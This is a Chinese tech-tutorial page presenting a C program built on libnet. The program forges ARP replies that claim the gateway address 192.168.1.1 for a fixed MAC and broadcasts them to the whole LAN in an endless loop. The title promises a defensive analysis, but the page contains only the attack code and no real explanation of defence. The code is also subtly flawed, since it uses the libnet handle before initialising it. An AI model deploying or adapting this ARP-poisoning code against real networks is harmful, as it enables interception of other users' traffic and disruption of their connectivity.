欢迎您访问我爱IT技术网,今天小编为你分享的电脑教程是服务器系列之:【Linux使用libnet实现ARP攻击脚本原理分析以防被攻击】,下面是详细的分享!
Linux使用libnet实现ARP攻击脚本原理分析以防被攻击
#include "arp.h"
int main(int argc,char **argv){
libnet_t *l;
int i,packet_size; //发送的数据包的长度
libnet_ptag_t arp_tag,ether_tag;
char *device="eth0";
char err_buf[LIBNET_ERRBUF_SIZE];
char *destion_ip_str="255.255.255.255";
char *source_ip_str="192.168.1.1";
u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_t source_ip,destion_ip;
//将字符形式ip转换为网络字节序
source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
destion_ip=libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
//初始化libnet句柄
l=libnet_init(LIBNET_LINK,device,err_buf);
if(l==NULL){
printf("初始化libnet句柄失败:%s\n",err_buf);
exit(-1);
}
arp_tag=libnet_build_arp(
ARPHRD_ETHER, //硬件地址类型,此处为以太网类型
ETHERTYPE_IP, //协议地址类型
6,
4,
ARPOP_REPLY, //ARP应答
source_hardware,
(u_int8_t *)&source_ip,
destion_hardware,
(u_int8_t *)&destion_ip,
NULL, //无负载
0, //负载长度为0
l,
0 //协议块标记,为0,表示新建协议块
);
ether_tag=libnet_build_ethernet(
(u_int8_t *)&destion_hardware,
(u_int8_t *)&source_hardware,
ETHERTYPE_ARP,
NULL,
0,
l,
0
);
i=0;
while(1){
packet_size=libnet_write(l); //发送构造的ARP数据包
usleep(10);
i++;
}
printf("数据包长度为:%d\n",packet_size);
libnet_destroy(l);
return 0;
}
以上就是关于Linux使用libnet实现ARP攻击脚本原理分析以防被攻击的服务器维护教程分享,更多电脑教程请移步到>>电脑教程频道。
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
